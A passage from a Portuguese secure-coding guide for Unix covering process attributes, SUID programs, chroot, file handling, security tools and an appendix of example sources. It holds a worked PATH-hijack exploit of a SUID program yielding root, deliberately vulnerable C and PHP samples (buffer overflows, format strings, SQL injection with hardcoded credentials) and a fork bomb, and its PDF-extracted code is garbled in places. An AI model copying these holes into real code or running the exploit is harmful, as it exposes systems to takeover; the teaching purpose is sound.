Unix utilizam uma estrutura muito similar de processos, divergindo em alguns
pontos muito especícos de implementação a nível de kernel.
Existe também o conceito de threads no Unix. As threads compartilham
memória dentro de um processo. A maioria dos sistemas operacionais Unix tra-
balha com o escalonamento de threads, e não de processos.
O Linux é uma exceção porque não faz distinção entre as duas entidades. Ao
contrário, quando um processo é criado, é possível escolher quais recursos serão
compartilhados. Esta abordagem mantém o conceito inicial de forma abstrata,
e garante uma maior exibilidade para as camadas superiores.

A maioria das vulnerabilidades ocorrem no contexto do processo. Alguns dos


aspectos de sua estrutura devem ser compreendidos para darmos continuidade
às considerações sobre implementação segura no Unix.

Em geral, tudo o que está diretamente relacionado aos processos nos inte-
ressa. Dentre outros, as sinalizações ( signals ) enviados pelo kernel, às bibliotecas
compartilhadas, segmentos e memória e variáveis de ambiente. Veremos estes e
outros tópicos nas seções que virão.

Para ser ecaz no objetivo deste documento não entraremos em mais de-
talhes sobre a estrutura interna dos processos no kernel, e vamos nos ater em
aproveitar apenas o que o nível de aplicação nos permite manuzear para ns de
melhoria da segurança.

Os principais atributos [Wheeler2003] de um processo são:

• PID: Identicador do processo.


• RUID, RGID: U ID e GID real do usuário que invocou o processo.
• EUID, EGID: U ID e GID efetivo. Usado para vericar direitos de
acesso.

• SUID, SGID: U ID e GID salvos. Usados para fazer o intercâmbio entre


os identicadores, quando, por exemplo, se abdica de um privilégio. Não
confundir com o acrônimo Set UID, que veremos a seguir.
• Grupos suplementares: Lista dos grupos que o proprietário do processo
pertence.

74
• UMASK: Grupo de bits indicando o nível de permissão padrão que deve
ser usado na criação de novos objetos (ex: arquivos) no sistema.

• Escalonamento: Cada processo tem uma série de atributos que dene


como a política de escalonamento deve agir sobre ele.

• Limites: Cada processo tem uma relação dos limites de utilização dos
recursos do sistema.

• Raiz: Todo processo tem sua visão do sistema de arquivos denida a partir
de uma raiz. Veremos mais sobre este atributo na seção sobre chroot.

Veremos porque alguns destes atributos são importantes nas próximas seções.

As boas práticas de gerenciamento seguro de processos são poucas porém


essenciais:

1. Evite usar execlp() e execvp(). Prera as funções execve(), execv() e


execl() no lugar.

2. Não use system() ou popen().

3. Não use vf ork . Utilize f ork() no lugar.

A maneira portável de inicar um processo no U nix é utilizando a função


f ork(). O BSD, no entanto, introduziu a função vf ork() em seu padrão. A
diferença entre estas duas funções é que vf ork() suspende o processamento do
processo-pai até que o processo-lho faça uma chamada à exit ou execve.

Existem alguns motivos que fazem a função vf ork() ser insegura. Um deles
é que qualquer problema no processo-lho tem o potencial de indisponibilizar o
serviço, já que ele não acusaria o m da execução ao processo-pai.

Quando um processo inicia, e o programa que o origina tem os bits SET U ID


e SET GID habilitados, seus EU ID e GU ID normalmente recebem os identi-
cadores garantidos pelas permissões de usuário e grupo do arquivo.

As funções system, popen, execlp e execvp são inseguras porque dependem


das variáveis de ambiente do usuário para encontrar os programas, e isto per-
mite que qualquer comando seja executado com o U ID do processo. Veja, por
exemplo, o código abaixo:

1 #include <s t d l i b . h>


2 #include <u n i s t d . h>
3 #include <s y s / t y p e s . h>
4
5 int main ( void ) {
6 setuid (0);
7 p r i n t f ( " output : \ n" ) ;

75
8 system ( " l s " ) ;
9 /∗ ∗/
return
...
10 0;
11 }
Considerando que este código tem a permissão +s (SU ID) para usuários e
grupos, poderíamos explorá-lo da seguinte forma:

savio@halcyon:suid% ls -la sys


-rwsr-sr-x 1 root users 10165 May 21 21:44 sys*
savio@halcyon:suid% ./sys
output:
sys sys.c
savio@halcyon:suid% cat << EOF > ls && chmod +x ./ls
> /bin/id
> EOF
savio@halcyon:suid% PATH=./ sys
output:
uid=0(root) gid=100(users) groups=100(users)
savio@halcyon:suid%

Os programas que utilizam popen, execlp e execvp, poderiam ser explorados


de forma similar. Veremos adiante algumas boas práticas que devem ser segui-
das na codicação de programas SU ID.

4.3.2 Gerenciamento de Arquivos e Diretórios


1. Deve-se ter cuidado para não acessar links simbólicos por engano. Use
lstat para se certicar que se trata de um arquivo.

2. Não crie arquivos em diretórios que podem ser lidos ou escritos por todos
os usuários do sistema.

3. Tome cuidado com problemas de race condition, principalmente no geren-


ciamento de arquivos temporários.

4. Quando for preciso apagar arquivos condenciais do sistema, sobrescreva-


os com dados aleatórios quantas vezes for possível.

5. Para se certicar que um diretório é seguro, é preciso vericar se há alguma


permissão inconsistente  que possibilita acessos indevidos  em toda a
estrutura hierárquica abaixo dele.

6. Utilize a função (ou comando) umask para garantir que os novos arquivos
criados pelo processo estão seguros contra acessos não autorizados.

7. Dê nomes aleatórios longos para arquivos temporários.

76
8. Sempre que possível, utilize a função realpath para obter o caminho ab-
soluto do arquivo que será acessado.

9. Evite seguir links simbólicos que não pertençam ao EU ID do processo.

10. Prera mkstemp à mktemp.

Quanto ao item 4, vale ressaltar que é muito difícil garantir que a informa-
ção realmente não pode mais ser recuperada. Os sistemas operacionais atuais
com seus mecanismos de integridade de disco dicultam a tarefa de extingüir
completamente a informação do sistema.

Veremos mais adiante que, no item 5, basta vericar os diretórios até a raiz
do processo, e não até a raiz do sistema de arquivos. Para infornúnio, na maioria
das vezes estes dois pontos são coincidentes.

O U nix fornece as funções mktemp, mkstemp, tmpf ile e tmpnam, que


atendem o critério do item 7. tmpnam, só retorna o nome do
A última delas,
arquivo; as demais criam efetivamente um descritor para cada temporário.

Para implementação de shell scripts existe a possibilidade de usar o comando


mktemp. Por m, é possível usar a função mkdtemp para criar diretórios tem-
porários.

4.3.3 Programas SUID/SGID

Programas SU ID Set User ID ), ou SGID (Set Group ID ), alteram a identi-


(
dade efetiva do usuário ou grupo que o executa.

Uma das características do U nix é que se tem a premissa que garante ao


usuário root controle total sobre o sistema, sem qualquer restrição de acesso.
O usuário root, portanto, além de ter o direito de executar qualquer operação,
deve ter acesso irrestrito à todos os objetos do ambiente.

Algumas vezes é necessário implementar softwares que tenham o nível de


permissão do root. Algumas situações demonstram este caso, como quando te-
mos que modicar algum dos arquivos do /etc; ou quando é preciso acessar todos
os arquivos do /home; ou quando o software deve poder desligar a máquina; etc.

Um dos cenários com mais potencial de trazer danos ao sistema é quando se


tem uma vulnerabilidade em um processo com U ID ou GID do usuário root.
Qualquer invasão seria catastróca, já que o agente mal intencionado teria total

77
controle sobre o sistema.

A primeira regra para desenvolver um programa SU ID seguro é simples:


Não o faça! Evite ao máximo implementar qualquer processo que dependa de
permissões de administração para executar suas tarefas.

Se não houver saída, siga as práticas descritas abaixo. Além disso, as demais
seções sobre implementação segura em U nix não são especícas para este caso,
mas obviamente devem receber uma atenção redobrada se o processo é execu-
tado com U ID do root.

1. Intercepte todos os sinais relevantes e dê o tratamento adeqüado a eles.


Dê uma atenção especial à sinalização SIGSEGV , que indica um acesso
indevido à memória. Gere logs quando sinais forem interceptados, isto
pode ajuda a identicar vulnerabilidades e invasões.

2. Execute as operações que necessitam de privilégios de administração o


quanto antes, e se possível, retorne o processo ao U ID e GID original,
usando as funções setuid() e setgid().
3. Utilize chroot() quando possível. (Veja a próxima seção para mais deta-
lhes)

4. Considere compilar programas SU ID e SGID como binários estáticos. A


possibilidade de mudar as funções referenciadas quando as bibliotecas tem
ligações dinâmicas é um risco que deve ser mitigado.

5. Se o privilégio de administração é requisitado esporadicamente, considere


criar um programa a parte com SU ID ou SGID. Isto isola o problema e
diminui dratiscamente as chances de comprometer o usuário root em uma
possível invasão.

6. Utilize os nomes completos dos caminhos para arquivos. Evite o uso de


formas reduzidas, como por exemplo  ∼/.

7. Mantenha o registro da trilha de ação de todas as operações executadas


com os privilégios garantidos pelo novo U ID ou GID.
8. Não permita que programas SU ID gerem a imagem da memória em caso
de erro ( core dump ). Estes arquivos podem ter informações condenciais.
Ao invés disso, siga a prática descrita no item 1, gerando logs com detalhes
sobre a falta.

9. Não escreva shell scripts SU ID.


10. Evite criar interfaces complexas  com muitos parâmetros e casos de uso
 para programas SU ID.
11. Não faça chama a programas não conáveis.

78
Uma forma de abdicar dos privilégios do usuário root é através da chamada
à função setuid tendo como primeiro argumento o valor -1. Isto deve ser feito
ao término da operação administrativa.

1 setuid (0);
2 f d = open ( " / e t c / i n e t d . c o n f " , O_RDWR) ;
3 s e t u i d ( − 1);
O exemplo acima mostra um caso onde o processo deve criar um descritor
capaz de acessar o arquivo /etc/inetd.conf com permissão de escrita e, para
isto, precisa do U ID 0 (root).

No entanto, não se iluda. Ainda que o processo não esteja efetivamente


utilizando o U ID 0 depois da linha 3, ele pode retomá-lo a qualquer momento
porque tem o direito de fazê-lo.

Um shellcode pode tirar proveito disto para garantir acesso administrativo


durante a invasão. Por isto é tão importante isolar os procedimentos que neces-
sitam dos privilégios do root em programas separados (item 5).

A compilação do código como binários estáticos (item 4) é feita no GCC


com o parâmetro −static, da seguinte forma:

savio@halcyon:~% gcc -o foo foo.c -static


savio@halcyon:~% file foo
foo: ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), for
GNU/Linux 2.4.1, statically linked, stripped
savio@halcyon:~%

Mais adiante veremos como gerar registros de trilha de ação, para permitir
a conformidade com as políticas de controle de acesso, como indica o item 7.

Por m, o item 3 sugere a utilização da função chroot nos programas SU ID.
Na verdade, esta prática protege os objetos do sistema em geral, isolando o al-
cance do processo à um escopo restrito do sistema de arquivos.

Este é o assunto da próxima seção.

79
4.3.4 A função chroot()

A função chroot muda o diretório raiz da aplicação para o que for especi-
cado em sua chamada. Isto dene um contexto limitado para o processo, de
onde ele não pode escapar. Assim, o programa é impedido de acessar os objetos
do sistema de arquivos hierarquicamente abaixo do nó concedido a ele como raiz.

No caso de um ataque a um processo no nível de aplicação os demais arqui-


vos do sistema estariam a salvo.

Antes de fazer a chamada à chroot certique-se que toda a informação ne-


cessária para o bom funcionamento de programa está dentro do ambiente que
será isolado.

Por exemplo, se tudo o que o processo deve fazer é escutar a interface de


rede e gerar logs de alguns eventos especícos, então faça com que a raiz da
aplicação seja algum sub-diretório do /var/log especialmente criado para este
propósito.

Alguns pontos devem ser compreendidos antes de escrever programas com


chroot [Garnkel1996]:

1. A função chroot não muda o diretório corrente, portanto é imprescindível


que se faça a chamada à função chdir antes de mudar a raiz da aplicação.

2. Garanta que o único sujeito capaz de modicar as informações do diretório


chroot seja o usuário efetivo do processo que a chamou.

3. É aconselhável fazer a chamada à chdir com o argumento / logo após a


execução da função chroot.

4. Certique-se que todas as bibliotecas necessárias para o bom funciona-


mento do programa estão acessíveis dentro do contexto da chroot. Quando
possível, compile o código como um binário estático (opção −static do
GCC ) para evitar inconsistências.

5. Se você tem a intenção de chamar a função syslog para gerar registros


de trilha de ação, certique-se que a chamada à openlog é feita antes de
chroot, ou que o contexto isolado tem o diretório /var/log .

6. Os processos com chroot devem ser executados com um U ID único, não


utilizado por nenhuma outra aplicação no sistema. Isto previne que agen-
tes subvertam o contexto externamente, com o uso de depuradores.

7. Não permita que processos com U ID 0 (root) tenham acesso ao diretório


chroot. Da mesma forma, evite que outros programas com SU ID root
quem dentro deste diretório.

80
Um programa que faz a chamada à chroot corretamente deve se parecer com
isto:

1 #include <s t d i o . h>


2 #include <u n i s t d . h>
3 #include <s y s l o g . h>
4
5 #define CHROOT_DIR "/ v a r / l o g "
6
7 int main ( int argc , char ∗ argv [ ] ) {
8
9 openlog ( " f o o " , LOG_PID, LOG_LOCAL0) ;
10 c h d i r (CHROOT_DIR) ;
11 c h r o o t (CHROOT_DIR) ;
12 c hd i r ( "/" ) ;
13
14 return 0;
15 }
Para mais saber mais sobre as funções de syslog recorra à Manual Page do
U nix (syslog(3)).

O sistema operacional F reeBSD oferece a chamada ao sistema jail, que


é análoga à chroot, porém bastante mais poderosa. Esta função permite um
isolamento muito mais sosticado do processo  possibilitando, dentre outras
coisas, a limitação de alguns recursos de rede.

81
5 Ferramentas
5.1 Análise de Software

Cqual 0.991

Licença ..... : GNU General Public License


Website ..... : http://www.cs.umd.edu/~jfoster/cqual/
Plataformas . : Linux (Unix?)
Descrição ... : Cqual é uma ferramenta de análise de código por tipagem. Ela
extende o sistema de tipos da linguagem C e fornece outros
parâmetros de denição usados para identicar problemas como
deadlocks ; faltas em formatações de strings ; inferências do tipo

const ; dentre outros.

Cyclone 1.0

Licença ..... : GNU General Public License


Website ..... : http://cyclone.thelanguage.org/
Plataformas . : Todas em conformidade com o padrão GN U . Requer GCC ,
make, ar, sed e um shell, como bash ou ksh.
Descrição ... : Cyclone é um dialeto da linguagem C que tenta implementar a se-
gurança de forma independente, depositando o mínimo conança na
habilidade ou cuidado do programador.

FindBugs 1.2.1

Licença ..... : Lesser GNU Public License


Website ..... : http://findbugs.sourceforge.net/
Plataformas . : Sun Java RE (compatível)
Descrição ... : F indBugs é um analisador estático que procura por bugs em códigos
Java.

82
Flawnder 1.27

Licença ..... : GNU General Public License


Website ..... : http://www.dwheeler.com/flawfinder/
Plataformas . : Diversos tipos de Unix
Descrição ... : O F lawf inder usa uma base de dados com registros de funções inse-
guras. A ferramenta gera uma lista de vulnerabilidades em potencial,
ordenadas por risco. Este software foi desenvolvido por David Whe-
eler [Wheeler2003].

ITS4 1.1.1

Licença ..... : Cigital Copyright


Website ..... : http://www.cigital.com/its4/
Plataformas . : Unix, Windows
Descrição ... : O IT S4 (It's The Code Stupid (Security Scanner) ), é um analisador
estático de vulnerabilidades para códigos C e C + +.

RATS 2.1

Licença ..... : GNU General Public License


Website ..... : http://www.fortifysoftware.com/security-resources/rats.jsp
Plataformas . : Unix e Windows
Descrição ... : O RAT S (Rough Auditing Tool for Security ) é um scanner de vul-
nerabilidades para códigos C , C + +, P erl, P HP e P ython.

Smatch v.50

Licença ..... : GNU General Public License


Website ..... : http://smatch.sourceforge.net/
Plataformas . : Linux
Descrição ... : O Smatch é um vericador de códigos C . O software é um patch para
o compilador GCC , e foi inicialmente criado para apoiar o desenvol-
vimento do kernel do Linux.

83
Splint 3.1.1

Licença ..... : GNU General Public License


Website ..... : http://www.splint.org
Plataformas . : Linux, Solaris, FreeBSD, Windows.
Descrição ... : Splint é uma ferramenta de análise estática de vulnerabilidades e erros
de programação na linguagem C . É possível usá-lo como substituto
ao lint.

Valgrind 3.2.3

Licença ..... : GNU General Public License


Website ..... : http://www.valgrind.org/
Plataformas . :
x86/Linux
AMD64/Linux
PPC32/Linux
PPC64/Linux
x86/FreeBSD (experimental)
x86/NetBSD (experimental)

Descrição ... : O V algrind é um depurador orientado a perfís de análises. A aplica-


ção disponibiliza diversas ferramentas, como o memcheck, que detecta
problemas de gerenciamento de memória em programas C e C + +; o
cachegrind, que executa simulações das áreas de armazenamento tem-
porário do processador; o massif , usado para analisar a estrutura da
Heap ; dentre outros.

84
5.2 Teste automatizado

Antiparser 2.0

Licença ..... : GNU General Public License


Website ..... : http://antiparser.sourceforge.net/
Plataformas . : Python
Descrição ... : Antiparser é um fuzzer e também uma API de geração de faltas.
Com ele é possível modelar protocolos de rede e formatos de arquivos
para geração de casos de teste.

Autodafe 0.1

Licença ..... : GNU General Public License


Website ..... : http://packetstormsecurity.org/fuzzer/autodafe-0.1.tar.gz
Plataformas . : Linux
Descrição ... : Autodaf e é um fuzzer para arquivos e protocolos (T CP e U DP ).

BFBTester 2.0.1

Licença ..... : GNU General Public License


Website ..... : http://bfbtester.sourceforge.net/
Plataformas . : Linux, FreeBSD, Solaris
Descrição ... : O BF BT ester (Brute Force Binary Tester ) é uma ferramenta para
executar testes e vericaçções em binários. Ele testa overows e pa-
râmetros do comando, e variáveis de ambiente.

85
CANVAS Professional

Licença ..... : Proprietário


Website ..... : http://www.immunitysec.com/products-canvas.shtml
Plataformas . : Linux, MacOSX, Windows
Descrição ... : Immunity 0 s CAN V AS é um sistema de automatização de exploração
de vulnerabilidades, e também um framework de exploits em geral.

Dfuz 0.3.0 − beta

Licença ..... : Proprietário


Website ..... : http://www.genexx.org/dfuz
Plataformas . : Linux e BSD
Descrição ... : O df uz interpreta scripts para fazer fuzzing de protocolos. É possível
criar qualquer tipo de payload através dele.

PEACH 0.9

Licença ..... : ???


Website ..... : http://peachfuzz.sourceforge.net/
Plataformas . : Python
Descrição ... : P EACH é um framework de fuzzing escrito em P ython. Ele é usado
para executar testes em .N ET , COM /ActiveX , SQL, DLLs, aplica-
ções de Internet, web, dentre outros.

SPIKE 0.0

Licença ..... : GNU General Public License


Website ..... : http://www.immunitysec.com/resources-freesoftware.shtml
Plataformas . : Linux
Descrição ... : SP IKE é um fuzzer de protocolos e web, desenvolvido pela
Immunitysec.

86
6 Considerações Finais
Vimos o quão importante é ter cuidado com a implementação; mas não pode-
mos esquecer em nenhum momento que a segurança de um software começa no
primeiro dia de sua criação.

Todas as fases do desenvolvimento devem receber sua dose de segurança.


Infelizmente não houve espaço nem tempo sucientes para discorrer sobre pro-
cessos de desenvolvimento, testes de software, design e arquitetura seguros, crip-
tograa, etc.

Infelizmente porque estes tópicos também são demasiado importantes para


serem deixados de lado. Cada fase dá sua prória  e única  contribuição para
a segurança.

Encorajo o leitor a continuar o estudo através de outras referências. Muitas


delas, incluindo algumas leituras obrigatórias, estão listadas no apêndice deste
documento.

Lembre-se de denir metas, manter a simplicidade, implementar controles,


se informar, preocupar-se com os detalhes. Siga as boas práticas, utilize fer-
ramentas, e quaisquer outros recursos que estiverem ao alcance e que possam
ajudar no desenvolvimento de um sistema livre de vulnerabilidades.

Por m, você vai compreender que não existe um sistema computacional no
mundo que seja seguro  e que é exatamente disto que se trata...

87
7 Apêndices
7.1 Código-Fonte
Listings
1 rawsni.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
2 frkbmb.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
3 1i.c (5-12) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
4 1i.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
5 1i.s (1-11) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
6 1s.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
7 malloc.h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
8 malloc.h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
9 hp1.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
10 getbinidx.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
11 unlink.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
12 vuln.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
13 maxx.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
14 into.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
15 form.php (22-32) . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
16 form.php (5-20) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
17 xss.php . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
18 fmt1.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
19 fmt2.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
20 fmt3.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
21 strlcat.c (37-59) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
22 strlcpy.c (34-53) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
23 1i.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
24 1i.s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
25 1s.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
26 2i.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
27 3i.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
28 3s.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
29 4i.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
30 4s.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
31 fmt1.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
32 fmt2.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
33 fmt3.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
34 form.php . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
35 frkbmb.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
36 getbinidx.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
37 hp1.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
38 malloc.h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
39 rawsni.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
40 unlink.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99

88
41 vuln.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
42 xss.php . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100

89
1i.c

1 #include <s t d i o . h>


2 #include <s t r i n g . h>
3 #include <s t d l i b . h>
4
5 void f o o b a r ( char ∗ s ) {
6 char buf [ 2 5 6 ] ;
7 s t r c p y ( buf , s ) ;
8 }
9 int main ( int argc , char ∗∗ argv ) {
10 f o o b a r ( argv [ 1 ] ) ;
11 return 0;
12 }
13
14 void lostfunc () {
15 p r i n t f ( " E x p l o i t e d . \ n" ) ;
16 exit (0);
17 }

1i.s

1 . file "1 i . c"


2 . text
3 . globl foobar
4 . type foobar , @function
5 foobar :
6 . LFB5 :
7 pushq %rbp
8 . LCFI0 :
9 movq %rsp , %rbp
10 . LCFI1 :
11 subq $272 , %r s p
12 . LCFI2 :
13 movq %r d i , −8(%rbp )
14 movq −8(%rbp ) , %r s i
15 leaq −272(%rbp ) , %r d i
16 call strcpy
17 leave
18 ret
19 . LFE5 :
20 . size foobar , . − f o o b a r
21 . g l o b l main
22 . type main , @function
23 main :
24 . LFB6 :
25 pushq %rbp
26 . LCFI3 :
27 movq %rsp , %rbp
28 . LCFI4 :

90
29 subq $16 , %r s p
30 . LCFI5 :
31 movl %edi , −4(%rbp )
32 movq %r s i , −16(%rbp )
33 movq −16(%rbp ) , %rax
34 addq $8 , %rax
35 movq (%rax ) , %r d i
36 call foobar
37 movl $0 , %eax
38 leave
39 ret
40 . LFE6 :
41 . size main , . − main
42 . section . rodata
43 . LC0 :
44 . string " Exploited . "
45 . text
46 . globl lostfunc
47 . type l o s t f u n c , @function
48 lostfunc :
49 . LFB7 :
50 pushq %rbp
51 . LCFI6 :
52 movq %rsp , %rbp
53 . LCFI7 :
54 movl $ . LC0 , %e d i
55 call puts
56 movl $0 , %e d i
57 call exit
58 . LFE7 :
59 . size l o s t f u n c , .− l o s t f u n c
60 . section . eh_frame , " a " , @progbits
61 . Lframe1 :
62 .long . LECIE1 − .LSCIE1
63 . LSCIE1 :
64 .long 0x0
65 . byte 0x1
66 . s t r i n g ""
67 . uleb128 0x1
68 . s l e b 1 2 8 −8
69 . byte 0 x10
70 . byte 0 xc
71 . uleb128 0x7
72 . uleb128 0x8
73 . byte 0 x90
74 . uleb128 0x1
75 . align 8
76 . LECIE1 :
77 . LSFDE1 :
78 .long . LEFDE1− .LASFDE1

91
79 . LASFDE1 :
80 long
. . LASFDE1− . Lframe1
81 . quad . LFB5
82 . quad . LFE5− .LFB5
83 . byte 0x4
84 long
. . LCFI0 − .LFB5
85 . byte 0 xe
86 . uleb128 0 x10
87 . byte 0 x86
88 . uleb128 0x2
89 . byte 0x4
90 long
. . LCFI1 − .LCFI0
91 . byte 0xd
92 . uleb128 0x6
93 . align 8
94 . LEFDE1 :
95 . LSFDE3 :
96 long
. . LEFDE3− .LASFDE3
97 . LASFDE3 :
98 long
. . LASFDE3− . Lframe1
99 . quad . LFB6
100 . quad . LFE6− .LFB6
101 . byte 0x4
102 long
. . LCFI3 − .LFB6
103 . byte 0 xe
104 . uleb128 0 x10
105 . byte 0 x86
106 . uleb128 0x2
107 . byte 0x4
108 long
. . LCFI4 − .LCFI3
109 . byte 0xd
110 . uleb128 0x6
111 . align 8
112 . LEFDE3 :
113 . LSFDE5 :
114 long
. . LEFDE5− .LASFDE5
115 . LASFDE5 :
116 long
. . LASFDE5− . Lframe1
117 . quad . LFB7
118 . quad . LFE7− .LFB7
119 . byte 0x4
120 long
. . LCFI6 − .LFB7
121 . byte 0 xe
122 . uleb128 0 x10
123 . byte 0 x86
124 . uleb128 0x2
125 . byte 0x4
126 long
. . LCFI7 − .LCFI6
127 . byte 0xd
128 . uleb128 0x6

92
129 . align 8
130 . LEFDE5 :
131 . section . note .GNU−stack , " " , @progbits
132 . i d e n t "GCC : (GNU) 3 . 4 . 3 2 0 0 4 1 1 2 5 ( G e n t o o 3.4.3 − r1 , ssp −3.4.3 −0 , pie −8.7.7) "

1s.c
1 #include <s t d i o . h>
2 #include <s t r i n g . h>
3 #include <s t d l i b . h>
4
5 void f o o b a r ( char ∗ s ) {
6 char buf [ 2 5 6 ] ;
7 s t r n c p y ( buf , s , sizeof ( buf ) − 1);
8 buf [ sizeof ( buf ) − 1] = 0 ;
9 }
10 int main ( int argc , char ∗∗ argv ) {
11 f o o b a r ( argv [ 1 ] ) ;
12 return 0 ;
13 }

2i.c
1 void foobar ( char ∗s ) {
2 char buf [ 2 5 6 ] ;
3 s t r c a t ( buf , s ) ;
4 }

3i.c
1 void foobar ( char ∗s ) {
2 char buf [ 2 5 6 ] ;
3 s p r i n t f ( buf , "%s " , s ) ;
4 }

3s.c

1 void foobar ( char ∗s )


2 {
3 char buf [ 2 5 6 ] ;
4 s n p r i n t f ( buf , sizeof ( buf ) − 1, "%s " , s );
5 }

4i.c
1 void foobar ( char ∗s ) {
2 char buf [ 2 5 6 ] ;
3 g e t s ( buf ) ;
4 }

93
4s.c

1 #include <s t d i o . h>


2 void f o o b a r ( char ∗ s ) {
3 char buf [ 2 5 6 ] ;
4 f g e t s ( buf , sizeof ( buf ) − 1 , stdin );
5 }

fmt1.c

1 #include <s t d i o . h>


2
3 int main ( int argc , char ∗∗ argv ) {
4 p r i n t f ( argv [ 1 ] ) ;
5 p r i n t f ( "\n" ) ;
6 return 0;
7 }

fmt2.c

1 #include <s t d i o . h>


2
3 int main ( void ) {
4 int c ;
5 p r i n t f ( " 12345% n " , &c ) ;
6 p r i n t f ( " %d \ n " , c ) ;
7 /∗ ∗/
return
output : 12345 5
8 0;
9 }

fmt3.c

1 #include <s t d i o . h>


2
3 int main ( void ) {
4 p r i n t f ( "%2$ c %1$ c \ n " , 'a ' , 'b ' );
5 /∗ ∗/
return
output : b a
6 0;
7 }

form.php

1 <html>
2 <head><t i t l e >Exemplo de PHP I n j e c t i o n </ t i t l e ></head>
3 <body>
4 <?php
5 $ l o g i n = $_POST[ ' l o g i n ' ] ;
6 $passwd = $_POST[ ' p a s s w d ' ] ;

94
7
8 /∗ ∗/
if (
autenticacao
9 $ l o g i n != n u l l ) {
10 mysql_connect ( l o c a l h o s t , " r o o t " , " 3 1 3 3 7 " ) ;
11 @mysql_select_db ( " f o o b a r " ) or d i e ( " e r r o do banco " );
12 $qry = " s e l e c t ∗ f r o m u s e r s
13 where l o g i n =' $ l o g i n ' and p a s s w o r d =' $passwd ' " ;
14 $ r e s = mysql_query ( $qry ) ;
15 if ( $ r e s != n u l l && mysql_numrows ( $ r e s ) >= 1 )
16 echo " A c e s s o p e r m i t i d o ! : − ) " ;
17 else
18 echo : −( " ;
else
" Acesso negado .
19 } {
20 /∗ formulario html ∗/
21 ?>
22 <div>
23 <form a c t i o n=" f o r m . php " method=" p o s t " name=" f ">
24 Nome :
25 <inpu t name=" l o g i n " type=" t e x t " i d=" l o g i n " s i z e=" 1 6 ">
26 <br/>
27 Senha :
28 <inpu t name=" p a s s w d " type=" p a s s w d " i d=" p a s s w d " s i z e=" 1 6 ">
29 <br/>
30
31 <inpu t name=" s u b m i t " type=" s u b m i t " v a l u e="OK">
32
33 </form>
34 </div>
35 <?php
36 }
37 ?>
38 </body>
39 </html>

frkbmb.c

1 #include <s t d i o . h>


2 #include <u n i s t d . h>
3
4 int main ( void ) {
5 for ( ; ; )
6 fork ( ) ;
7 return 0 ;
8 }

getbinidx.c

1 #include <s t d i o . h>


95
2 #include <s t d l i b . h>
3 #include <s i g n a l . h>
4
5 #define smallbin_index ( s z ) ( ( ( unsigned ) ( s z ) ) >> 3)
6
7 #define l a r g e b i n _ i n d e x ( s z )\
8 ( ( ( ( ( unsigned long ) ( s z ) ) >>6) <= 32)? 56 +((( unsigned long ) ( s z ) ) >> 6 ) : \
9 ( ( ( ( unsigned long ) ( s z ) ) >>9) <= 20)? 91 +((( unsigned long ) ( s z ) ) >> 9 ) : \
10 ( ( ( ( unsigned long ) ( s z ) ) >>12)<= 10)?110 +((( unsigned long ) ( s z ) ) >>12):\
11 ( ( ( ( unsigned long ) ( s z ) ) >>15)<= 4)? 119 +((( unsigned long ) ( s z ) ) >>15):\
12 ( ( ( ( unsigned long ) ( s z ) ) >>18)<= 2)? 124 +((( unsigned long ) ( s z ) ) >>18):\
13 126)
14
15 #define bin_index ( s z ) \
16 ( s z < 512 ? smallbin_index ( s z ) : l a r g e b i n _ i n d e x ( s z ) )
17
18 int main (int argc , char ∗∗ argv )
19 {
20 long n = 1 6 ;
21
22 if ( a r g c==2)
23 n=a t o l ( argv [ 1 ] ) ;
24
25 p r i n t f ( " s i z e=%d \ n " , n ) ;
26 if ( n < 512)
27 printf (" smallbin , bin_index ( n ) ) ;
else
index : %d \ n "
28
29 printf (" bin , bin_index ( n ) ) ;
return
index : %d \ n "
30 n;
31 }

hp1.c

1 #include <s t d i o . h>


2 #include <s t d l i b . h>
3 #include " m a l l o c . h"
4
